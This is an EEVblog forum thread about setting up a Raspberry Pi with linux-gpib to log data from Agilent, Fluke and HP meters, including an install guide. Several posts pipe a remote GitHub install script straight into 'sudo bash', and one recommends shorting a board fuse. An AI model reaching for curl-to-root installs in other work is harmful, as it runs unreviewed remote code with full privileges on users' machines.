So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #351 on: August 18, 2017, 08:26:42 pm »
I bought an Agilent 82357B GPIB interface, probably a clone because it was cheap, and tried to use it with the logging platform. For this first I downloaded the latest Raspbian image, based on Debian 9 (Stretch), from this week, 2017-08-16-raspbian-stretch-lite.img. I've done the steps from https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh (maybe this should be renamed, because it does more, like updating the distribution, installing USBTMC etc.) manually to see if something went wrong and it worked mostly, even the linux-gpib driver could be compiled with the new Linux kernel version 4.9.41. One thing missing was the "pip" package (needs an additiona "sudo apt-get -y install python-pip"). Note: to enable SSH remote login, create an empty file "ssh" on the "boot" partition. Then you can login with the user "pi" and the password "raspberry" with ssh (or use putty from Windows).

Then I had problem to use the GPIB interface. When plugged in, "lsusb" showed "Bus 001 Device 004: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface". I think the firmware load step was necessary, as described here: https://xdevs.com/guide/agilent_gpib_rpi/ . Bus 1 and Device 4 means, I had to do this:

Quote
fxload -t fx2 -D /dev/bus/usb/001/004 -I /opt/gpib_firmware/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex

After this command, the RPi hung, and stopped always after reboot. Turns out I had a power problem, maybe because of my cheap GPIB clone, or it needs really a lot of power. I could fix this by desoldering F3 on the RPi, near the power supply USB port, and short it with a nice big 1 mm silver wire, and then powering it with a good 3A USB power supply. You can see the location here:

http://www.tooms.dk/forum/topic.asp?TOPIC_ID=286

My RPi (a Raspberry Pi 1 Model B) doesn't have fuses near the output USB ports, but mounting holes, but if you have a model with F1 and F2, you might need to bridge these fuses as well. No more crashes now after shorting the fuse!

After the first flash (and some reboots because of the power problem), lsusb showed "Bus 001 Device 010: ID 0957:0718 Agilent Technologies, Inc.". So the second flash, as described on the website, was this: "fxload -t fx2 -D /dev/bus/usb/001/010 -I /opt/gpib_firmware/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex". Then another power cycle, just to be safe. Now lsusb shows this: "Bus 001 Device 009: ID 0957:0718 Agilent Technologies, Inc.".

And then the gpib_config command succeeded. Output of /var/log/syslog:

Quote
Aug 18 19:06:40 raspberrypi kernel: [  202.257222] gpib: no gpib board configured on /dev/gpib0
Aug 18 19:06:40 raspberrypi kernel: [  202.257328] gpib: no gpib board configured on /dev/gpib0
Aug 18 19:06:40 raspberrypi kernel: [  202.257365] gpib: no gpib board configured on /dev/gpib0
Aug 18 19:07:07 raspberrypi kernel: [  229.381524] attached to bus interface 0, address 0xd94ae600
Aug 18 19:07:07 raspberrypi kernel: [  229.406328] agilent_82357a_attach: attached

After this I could mount my samba share of my NAS system as usual with "mount.cifs //my-nas/share /mnt -o user=user,pass=password", which makes it easier to edit programs on my host PC. Then I started the Test_GPIB.py script. I tested it with my new Fluke 8842A, which doesn't have the "*IDN?", but sending a "G8" resulted in "FLUKE,8842A,0,V3.0"  :phew:

Finally I wrote a simple test script, which selects the 20 V range and prints the voltage measurement every second, see this file:

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/Fluke-8842A.py

(I really like the Fluke, 100 uV resolution in the 20 V range)

This will be available in plesa's repository, together with some other scripts and bugfixes by me and others, when he merges my pull request:

https://github.com/PlesaEEVBlog/RPi_LogNut/pull/1

plesa, if you merge the pull request, you might need to move the files from /pub/python to /python, if different or new, because in your repository is no /pub/python directory.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 
The following users thanked this post: TiN, DiligentMinds.com, 2N3055

Offline IanJ

  • Supporter
  • ****
  • Posts: 1580
  • Country: scotland
  • Full time EE biz & Youtuber
    • IanJohnston.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #352 on: August 21, 2017, 04:48:57 pm »
Hi all,

Ok.......I'm gonna bite the bullet just for fun and so I've ordered a Rasp Pi 3 Model B and I've had a look through this thread and I'm looking for the one post that lays it out what to do when starting from scratch to get 3458a & temperature logging operational.....right from how to install the OS. Any pointers appreciated.

I see this page, is this the one:
https://xdevs.com/guide/agilent_gpib_rpi/

I've got:

82357B (clone) GPIB USB adaptor (this looks the obvious one to use)
Galvant GPIBUSB adaptor (just thought I'd mention it)
Silicon Labs Si7051-EVB temp/humidity sensor (probably not supported, but would be nice)

Ian.
Ian Johnston - Manufacturer of the PDVS2mini & author of the free WinGPIB app.
Website & Online Shop: www.ianjohnston.com
YT Channel (electronics repairs & projects): www.youtube.com/user/IanScottJohnston, Twitter (X): https://twitter.com/IanSJohnston
 
The following users thanked this post: Svgeesus

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #353 on: August 21, 2017, 05:07:27 pm »
Hi all,

Ok.......I'm gonna bite the bullet just for fun and so I've ordered a Rasp Pi 3 Model B and I've had a look through this thread and I'm looking for the one post that lays it out what to do when starting from scratch to get 3458a & temperature logging operational.....right from how to install the OS. Any pointers appreciated.

I see this page, is this the one:
https://xdevs.com/guide/agilent_gpib_rpi/

I've got:

82357B (clone) GPIB USB adaptor (this looks the obvious one to use)
Galvant GPIBUSB adaptor (just thought I'd mention it)
Silicon Labs Si7051-EVB temp/humidity sensor (probably not supported, but would be nice)

Ian.

After image recovery run
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashFor settng web and Samba
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
Supported interfaces are Agilent 82357B, National Instruments NI GPIB-USB-HS and their clones eg. Keithley ones.Also the Ethernet GPIB gateway Agilent E5810A/B are supported and tested.
On github there are www and Python folders with multiple examples with D3.js and C3.js ( easier for configuration)

Only BME280 and DS18S20 supported, but adding support will be easy.

 
The following users thanked this post: TiN, velik_kazakov

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #354 on: August 22, 2017, 04:26:09 am »
IanJ
You can follow plesa's suggestion, it works great. My guide you linked is somewhat manual process, which is still might be of interested to understand what is actually going on, instead of running one command which does some magic behind the curtains  :-DD.

Perhaps I should update it with "Automated install" section.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline IanJ

  • Supporter
  • ****
  • Posts: 1580
  • Country: scotland
  • Full time EE biz & Youtuber
    • IanJohnston.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #355 on: August 22, 2017, 10:40:21 am »
IanJ
You can follow plesa's suggestion, it works great. My guide you linked is somewhat manual process, which is still might be of interested to understand what is actually going on, instead of running one command which does some magic behind the curtains  :-DD.

Perhaps I should update it with "Automated install" section.

Will do.

Btw, I presume Raspian OS will work ok?.......I see on your site some mention of OS build issues/incompatibilities?

Ian.
Ian Johnston - Manufacturer of the PDVS2mini & author of the free WinGPIB app.
Website & Online Shop: www.ianjohnston.com
YT Channel (electronics repairs & projects): www.youtube.com/user/IanScottJohnston, Twitter (X): https://twitter.com/IanSJohnston
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #356 on: August 22, 2017, 11:05:33 am »
In theory any linux-based OS should work, but you may run into some packets/lib dependency conflicts, which you may need to resolve.
I'm using Raspbian since Pi1, but also tried NOOBs once on which all worked fine.
Also have NI GPIB + linux-gpib working fine on Linaro , running on FPGA SOC board (DE1-SoC).

Once you get familiar with main tidbits, it's fairly easy to get things running on another platforms.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline IanJ

  • Supporter
  • ****
  • Posts: 1580
  • Country: scotland
  • Full time EE biz & Youtuber
    • IanJohnston.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #357 on: August 27, 2017, 04:42:37 pm »

After image recovery run
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashFor settng web and Samba
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
Supported interfaces are Agilent 82357B, National Instruments NI GPIB-USB-HS and their clones eg. Keithley ones.Also the Ethernet GPIB gateway Agilent E5810A/B are supported and tested.
On github there are www and Python folders with multiple examples with D3.js and C3.js ( easier for configuration)

Only BME280 and DS18S20 supported, but adding support will be easy.

Ok, so I have my Pi3 running, used Noobs to install Raspbian (with desktop).
Connected my 82357B clone & BM-280.
Then at command prompt ran
Code: [Select]
curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashAnd after a few minutes got this at the very end:
Code: [Select]
Successfully built si-prefix
Installing collected packages: si-prefix
Successfully installed si-prefix-0.5
Agilent 82357B found
failed to bring board online
failed to configure board
main: No such device
pi@raspberrypi:~ $
I haven't got the 82357B plugged into my 3458a as yet........just trying it with USB connected at the mo.

Is this looking ok?.....or is there an issue?

Ian.
Ian Johnston - Manufacturer of the PDVS2mini & author of the free WinGPIB app.
Website & Online Shop: www.ianjohnston.com
YT Channel (electronics repairs & projects): www.youtube.com/user/IanScottJohnston, Twitter (X): https://twitter.com/IanSJohnston
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #358 on: August 27, 2017, 08:06:45 pm »
Hi Ian,

please can you post lsusb when adapter is connected?
The end of scrip failed, so you will needs to edit gpib.conf to setup the correct adapter.
We needs to make sure GPIB adapter is recognized.

 

Offline IanJ

  • Supporter
  • ****
  • Posts: 1580
  • Country: scotland
  • Full time EE biz & Youtuber
    • IanJohnston.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #359 on: August 27, 2017, 09:26:12 pm »
Hi Ian,

please can you post lsusb when adapter is connected?
The end of scrip failed, so you will needs to edit gpib.conf to setup the correct adapter.
We needs to make sure GPIB adapter is recognized.

Here is lsusb, this is done on same session, i.e. just after script fails.

Code: [Select]
pi@raspberrypi:~ $ lsusb
Bus 001 Device 005: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface
Bus 001 Device 016: ID 0dc6:3412 Precision Squared Technology Corp.
Bus 001 Device 015: ID 046d:c535 Logitech, Inc.
Bus 001 Device 014: ID 1a40:0101 Terminus Technology Inc. Hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

I notice also that the red light is ON the adaptor.....so I unplug the adaptor USB then plug it in again and I get a green light ON.....and then run lsusb again:

Code: [Select]
Bus 001 Device 019: ID 0957:0718 Agilent Technologies, Inc.
Bus 001 Device 016: ID 0dc6:3412 Precision Squared Technology Corp.
Bus 001 Device 015: ID 046d:c535 Logitech, Inc.
Bus 001 Device 014: ID 1a40:0101 Terminus Technology Inc. Hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

So, right now i am running script again.

Ian.
« Last Edit: August 27, 2017, 09:32:53 pm by IanJ »
Ian Johnston - Manufacturer of the PDVS2mini & author of the free WinGPIB app.
Website & Online Shop: www.ianjohnston.com
YT Channel (electronics repairs & projects): www.youtube.com/user/IanScottJohnston, Twitter (X): https://twitter.com/IanSJohnston
 

Online 2N3055

  • Super Contributor
  • ***
  • Posts: 6445
  • Country: hr
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #360 on: August 27, 2017, 09:38:53 pm »

Code: [Select]
Bus 001 Device 019: ID 0957:0718 Agilent Technologies, Inc.


Ian.

Ian,

I had same problem, since adapter didn't load firmware (you have to replug it first time)
GPIB part of script didn't recognize it..
I opened Plesa script in editor, and copy-pasted last few lines that deal with GPIB setup again line by line into terminal... And then it went trough...

Also before that I had to also manually execute first few lines that do kernel upgrade, wait for it to finish and restart Pi.... Then Plesa script in full, reconnect GPIB, and repeat last few GPIB lines... It seems my Raspberry was a bit out sync....

It works perfectly now..
 

Offline IanJ

  • Supporter
  • ****
  • Posts: 1580
  • Country: scotland
  • Full time EE biz & Youtuber
    • IanJohnston.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #361 on: August 27, 2017, 09:50:37 pm »
Ok after running the script again I now get this:

Code: [Select]
Reading package lists... Done
Building dependency tree       
Reading state information... Done
fxload is already the newest version (0.0.20081013-1).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Requirement already up-to-date: pip in /usr/lib/python2.7/dist-packages
Requirement already satisfied: si-prefix in /usr/local/lib/python2.7/dist-packages
pi@raspberrypi:~ $

So I am assuming this is now ok, and I can run 2nd script next, here:

Code: [Select]
Using /usr/lib/python2.7/dist-packages
Finished processing dependencies for Adafruit-GPIO==1.0.3
------------DONE---------------------
Run
sudo smbpasswd -a pi
to set Samba password

So I assume thats it done.......so now how do I run the logger etc (samba pass is set, and I can access)?

Update: Ahhhh, I can see the Pi is now a webserver and the 3458a logging is web based as can see the files........just trying to work out the URL now.

Ian.
« Last Edit: August 27, 2017, 10:03:54 pm by IanJ »
Ian Johnston - Manufacturer of the PDVS2mini & author of the free WinGPIB app.
Website & Online Shop: www.ianjohnston.com
YT Channel (electronics repairs & projects): www.youtube.com/user/IanScottJohnston, Twitter (X): https://twitter.com/IanSJohnston
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #362 on: August 27, 2017, 10:06:45 pm »
Added both USB ID to script. Thanks for feedback.
On github are the python scripts and also few examples of webpages with plots ( I recommends to use C3.js instead of D3.js).

Just download them and place to /pub/ folder. Or should I create separate git repository for www and python?
 
The following users thanked this post: 2N3055

Offline IanJ

  • Supporter
  • ****
  • Posts: 1580
  • Country: scotland
  • Full time EE biz & Youtuber
    • IanJohnston.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #363 on: August 27, 2017, 10:16:02 pm »
Added both USB ID to script. Thanks for feedback.
On github are the python scripts and also few examples of webpages with plots ( I recommends to use C3.js instead of D3.js).

Just download them and place to /pub/ folder. Or should I create separate git repository for www and python?

I'm not really sure what you mean (I'm a Pi newbie so need step by step)........I can see a bunch of html files at pub\Rpi_LogNut, so what do I do now......?
I thought for a moment those files were at the Pi webserver webroot but they are not, so assuming something else.

Ian.
Ian Johnston - Manufacturer of the PDVS2mini & author of the free WinGPIB app.
Website & Online Shop: www.ianjohnston.com
YT Channel (electronics repairs & projects): www.youtube.com/user/IanScottJohnston, Twitter (X): https://twitter.com/IanSJohnston
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #364 on: August 27, 2017, 10:26:14 pm »
Added both USB ID to script. Thanks for feedback.
On github are the python scripts and also few examples of webpages with plots ( I recommends to use C3.js instead of D3.js).

Just download them and place to /pub/ folder. Or should I create separate git repository for www and python?

I'm not really sure what you mean (I'm a Pi newbie so need step by step)........I can see a bunch of html files at pub\Rpi_LogNut, so what do I do now......?
I thought for a moment those files were at the Pi webserver webroot but they are not, so assuming something else.

Ian.

In the folder pub\Rpi_LogNut is the copy of git repository. So you can copy all files in \pub\Rpi_LogNut\www to \pub\www and all files from  pub\Rpi_LogNut\Python to \pub\python.
After that on the RPi you should see webpage with examples. The examples will not display graphs because there are no logs in \pub'log folder.

Scrips from \pub\Python you can run, but check in file the correct GPIB address and used interface, some examples are using the LAN-GPIB.
just type python and the name of script.
 

Offline IanJ

  • Supporter
  • ****
  • Posts: 1580
  • Country: scotland
  • Full time EE biz & Youtuber
    • IanJohnston.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #365 on: August 28, 2017, 05:24:06 pm »
In the folder pub\Rpi_LogNut is the copy of git repository. So you can copy all files in \pub\Rpi_LogNut\www to \pub\www and all files from  pub\Rpi_LogNut\Python to \pub\python.
After that on the RPi you should see webpage with examples. The examples will not display graphs because there are no logs in \pub'log folder.

Scrips from \pub\Python you can run, but check in file the correct GPIB address and used interface, some examples are using the LAN-GPIB.
just type python and the name of script.

Ok, my webroot is /var/www/html
I've copied python folder one down so /var/www/python

I should note at first I got permission denied when trying to copy files to web root, but after gksudo pcmanfm (I googled it) thenb I was able to copy.

So next I tried at the command prompt:
Code: [Select]
pi@raspberrypi:~ $ python /var/www/python/3458A_DCV_Log.py
libgpib: ibBoardOpen failed to open device file /dev/gpib0
libgpib: Permission denied
libgpib: error in is_cic()!
Traceback (most recent call last):
  File "/var/www/python/3458A_DCV_Log.py", line 10, in <module>
    inst = Gpib.Gpib(0,22, timeout=60)
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 26, in __init__
    self.id = gpib.dev(name, pad, sad, timeout, send_eoi, eos_mode)
gpib.GpibError: dev() error: Bad file descriptor (errno: 9)

On my Windows Excel macro my usb 82357 address is GPIB0::22:INSTR
The python script I haven't touch, I can see it's set to 22 already, not sure about the interface selection though.

Ian.
« Last Edit: August 28, 2017, 05:52:59 pm by IanJ »
Ian Johnston - Manufacturer of the PDVS2mini & author of the free WinGPIB app.
Website & Online Shop: www.ianjohnston.com
YT Channel (electronics repairs & projects): www.youtube.com/user/IanScottJohnston, Twitter (X): https://twitter.com/IanSJohnston
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #366 on: August 28, 2017, 06:14:12 pm »
I came across the command "sudo usermod -a -G gpib pi", which might help.
What about sudo python ...?
 

Offline vindoline

  • Supporter
  • ****
  • Posts: 324
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #367 on: August 28, 2017, 06:41:49 pm »
OK, I'm also still struggling to get this up and running. Right now I'm trying to get the BME280 sensor graphing to work.

1) I have a new 16 GB card with latest Raspbian installed.
     a. I add an empty file called "ssh" to the root directory of the SD card to enable SSH upon boot
     b. I add a "wpa_supplicant.conf" file with my wifi info in it to enable wifi access upon boot.

2) Power up the RPi and SSH in from my Mac.
     a. run sudo raps-config and set new password, hostname, VNC access, I2C enable, screen resolution, etc.
     b. reboot RPi

3) SSH into RPi from my Mac
     a. run sudo apt-get update
     b. run sudo apt-get upgrade
     c. run curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bash
          => this seems to run/install OK. I get several errors at the very end because I don't have a supported GPIB adapter attached.
     d. run curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Update_GPIB.sh | sudo bash
          => as above, this seems to run/install OK
     e. run curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bash
          => I believe I've found several errors in this script (at least for me):
                line 13 reads: "sudo mkdir log" I believe it should be "sudo mkdir logs"
                line 19 ("sudo rmdir /var/www/html") fails to remove the directory html because a file is in it. This then seems to both the symlinks created. If the file (index.lighttpd.html) is removed first, it works fine.

As Plesa noted above, I copy the files in \pub\Rpi_LogNut\www to \pub\www and copy the files from  pub\Rpi_LogNut\Python to \pub\python.

I can go to the directory /pub/python and run the script "python BME_v2_Log.py" and it fails because there needs to be a file named "BME280_Log.csv" already existing in the logs directory. Once I create an empty file named BME280_Log.csv the script runs fine and collects data. Yea!

If I now open a web browser and go to "VoltNutter.local" I get the index page with all of the different instrument logging options. Yea! However, clicking on "BME280_Logs.html" gives a blank page. If I look in the debugging console I see the error "TypeError: undefined is not an object (evaluating 'e.length')" in the d3.v3.min.js file. I have no idea what any of this means or how to proceed. Any advice?  :-//

 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #368 on: August 29, 2017, 10:10:12 pm »
In the folder pub\Rpi_LogNut is the copy of git repository. So you can copy all files in \pub\Rpi_LogNut\www to \pub\www and all files from  pub\Rpi_LogNut\Python to \pub\python.
After that on the RPi you should see webpage with examples. The examples will not display graphs because there are no logs in \pub'log folder.

Scrips from \pub\Python you can run, but check in file the correct GPIB address and used interface, some examples are using the LAN-GPIB.
just type python and the name of script.

Ok, my webroot is /var/www/html
I've copied python folder one down so /var/www/python

I should note at first I got permission denied when trying to copy files to web root, but after gksudo pcmanfm (I googled it) thenb I was able to copy.

So next I tried at the command prompt:
Code: [Select]
pi@raspberrypi:~ $ python /var/www/python/3458A_DCV_Log.py
libgpib: ibBoardOpen failed to open device file /dev/gpib0
libgpib: Permission denied
libgpib: error in is_cic()!
Traceback (most recent call last):
  File "/var/www/python/3458A_DCV_Log.py", line 10, in <module>
    inst = Gpib.Gpib(0,22, timeout=60)
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 26, in __init__
    self.id = gpib.dev(name, pad, sad, timeout, send_eoi, eos_mode)
gpib.GpibError: dev() error: Bad file descriptor (errno: 9)

On my Windows Excel macro my usb 82357 address is GPIB0::22:INSTR
The python script I haven't touch, I can see it's set to 22 already, not sure about the interface selection though.

Ian.

Try to run sudo gpib_config and post results. After that you can run sudo ibtest to test the GPIB device in terminal.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #369 on: August 30, 2017, 04:03:39 am »
plesa - thanks for posting the latest version of your pi image. I installed it last night without too much drama on a pi3. It did fail at the end but I just ran the gpib script again after a reboot and it worked. I did have to disconnect and reconnect my 82357B when done. However I doubt I will be using the USB interface much as I have the E5810A now and decided to try some vxi11. So far it is working great. I added a "inst.write("END ON")" to get it to talk to my 3458A. No luck with the serial port on the E5810A though. I am wondering if possibly the output level shifter might be bad.

For anyone not using a monitor/kb/mouse on their pi I recommend running sudo raspi-config and turning off the graphical login to save resources.

edit - Got serial working - had to make sure the Keithley 2400 required no flow control and that it wanted a LF as a terminator. I then added the "\n" to the *IDN? and it works 100% of the time. I tried the same with carriage return and it didn't work. A scope with serial decode sure was handy.

#!/usr/bin/python2
# Test Agilent E5810A with serial port connected to Keithley 2400
import vxi11
instr = vxi11.Instrument("192.18.1.134", "COM1:488")
print(instr.ask("*IDN?\n"))
« Last Edit: August 30, 2017, 05:50:26 am by TheSteve »
VE7FM
 

Offline voltampere

  • Regular Contributor
  • *
  • Posts: 58
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #370 on: September 14, 2017, 04:55:56 pm »
I just want to share a bit of information for those who would like to set everything up on their own.
Without just copying a whole image and running some "magic" script!

On my first try i stumbled a lot because i read at different locations that you need to install the kernel sources.
( i think this advice is also on Tin's website )

I can confirm that it is possible to compile the linux-gpib package without the kernel-sources installed.
( at least this worked with Raspberry Pi 3 and latest Raspbian image )
I only needed to install the raspberry-kernel-headers.

apt-get install raspberry-kernel-headers

After that you will have two directories under /usr/src:

linux-headers-4.9.41+
linux-headers-4.9.41-v7+

Since the PDF doc on the linux-gpib sourcefourge archive says that the headers should be enough i gave it a try.

Of course you will need all the other packages like :
build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool

I installed all of them according to Tin's Guide on xDevs.com.

After the first ./configure the Script did not confirm configuration of the Python bindings.
So i figured that some Python package was missing...
apt-get install  libpython3-dev did not do the job.
So i also installed libpython-dev.
After that the ./configure script confirmed the Python bindings setup.

make was successful but showed this Error multiple times while running:

ERROR : Kernel configuration is invalid.
  include/generated/autoconf.h or include/config/auto.conf are missing.
  Run ´make oldconfig && make prepare´ on kernel src to fix it.

Since i did not want to struggle with getting kernel sources again ( and setting up and, and, ... )
i just tried to do a make oldconfig and make prepare in the kernel-headers directory.
make oldconfig went through but make prepare was impossible.
I just ledt it at that point and went on with `make install` in the linux-gpib directory.

After some more errors that i could all fix with info from Tin's website ( running ldconfig again , editing gpib.conf, ... ) i had a working gpib package on my system.

Bottom line:

-You don't need the complete kernel-sources to compile linux-gpib (only the headers)

-don't worry about the Error: kernel configuration is invalid

Best regards

Joerg

 

Offline MiDi

  • Frequent Contributor
  • **
  • Posts: 599
  • Country: ua
Linux-GPIB on Raspi - a guide
« Reply #371 on: December 03, 2018, 12:32:39 am »
UPDATED 2023-09-25
2023-09-25: fixed url for FW, formatting for easier C&P

Alternatives to this guide:
https://xdevs.com/doc/xDevs.com/linux_gpib/install_linux_gpib.sh from https://xdevs.com/guide/ni_gpib_rpi/
or https://github.com/PhilippCo/meas_rpi from https://www.eevblog.com/forum/metrology/raspberry-pi-for-gpib-and-data-analysis-very-easy-and-fully-equipped/msg3624833/#msg3624833

As I and others had quite some trouble to get the current gpib version 4.2.0 (r1771) to run on raspi with the Agilent adapter, I decided to put together a guide.

The base - without the specific Agilent adapter part - should be universal for all adapters.

I am not the brightest light on linux, so if there is something to improve, your contribution is welcome!

Code: [Select]
Install GPIB on Linux with Agilent USB-GPIB adapter (tested with Raspberry Pi OS Lite 32bit 2022-04-04 Bullseye (5.15.32-v7+) and linux gpib 4.3.4 (r2025) on pi3):

Sources:
[url]https://xdevs.com/guide/agilent_gpib_rpi/[/url]
[url]https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1301773/#msg1301773[/url]
[url]https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/?all[/url]
[url]https://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/[/url] -> History

1. Preparation
sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade && echo 'Rebooting...' && sudo reboot

2. Install Kernel-Headers
sudo apt-get install raspberrypi-kernel-headers && [ -d /usr/src/linux-headers-$(uname -r) ] && echo 'kernel-headers installed' || echo 'ERROR: wrong or no kernel-headers installed: '$(ls /usr/src/)', should be '$(uname -r  | cut -d+ -f1)

//If newer headers are installed, updating kernel could be an option (at your own risk)
//sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel

//If older headers are installed, we are stuck and have to wait until the newer headers are released

3. Install GPIB

3.1 Install build-tools
sudo apt-get install build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool libpython3-dev

3.2 Build & install GPIB kernel module
sudo svn checkout svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-code && cd /usr/local/src/linux-gpib-code/linux-gpib-kernel/ && sudo make && sudo make install

3.3 Build & install GPIB user module
cd /usr/local/src/linux-gpib-code/linux-gpib-user/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install


4. Install Agilent 82357a

4.1 Get Firmware
cd /usr/local/src/linux-gpib-code/ && sudo apt-get install fxload && sudo wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz && sudo tar xvzf gpib_firmware-2008-08-10.tar.gz && cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/

4.2 Config
//adapter
//new location since r1757 (changed from /etc/gpib.conf to $(sysconfdir)/gpib.conf)
sudo vi $(sudo find / -name 'gpib.conf' | grep etc)
-> board_type = "agilent_82357a"
// hit x to delete, then copy "agilent_82357a" and insert with right click, hit ESC and type wq + Enter (saves the file and exits)

//auto download firmware
sudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)

//udev rules
//seems that the udev rules are copied to incorrect location - bug in gpib or raspbian? In r1730 everything is fine, in which release does it break?
sudo cp /usr/local/etc/udev/rules.d/* /etc/udev/rules.d/

// Grant user permission
// Since r1748, group gpib has to be created manually
sudo groupadd gpib
// Add user to group - for other user replace 'pi' with name of other user
sudo adduser pi gpib

5. Finish

5.1 Reboot
sudo reboot
//after reboot, all leds should be lit on the adapter (2x green, red) and finally only one green, if not there is a problem (see 6)
//after plug-in the adapter all leds should be lit (2x green, red) and finally only one green, if not there is a problem (see 6)

5.2 Test with connected equipment (optional)
ibtest
d
//device id
w
//after here is device specific, given are examples for HP/Agilent/Keysight devices (tested with 3457A/3458A)
END ALWAYS
w
ID?
r
[enter]
//prints: HP345xA
q //quit


6 Trouble-shooting

6.1 Test gpib module
lsmod | grep gpib_common
//Should give a line back with gpib_common, if not try next step

sudo modprobe gpib_common
lsmod | grep gpib_common
//should finish without error & print gpib_common, else gpib is not installed -> try 3. and watch out for errors

6.2 Test Adapter (only needed if not all leds are lit)
//Load Firmware for testing (latest point to plugin Adapter)
cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/
lsusb -d 0957:0518 //output: Bus xxx Device yyy: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

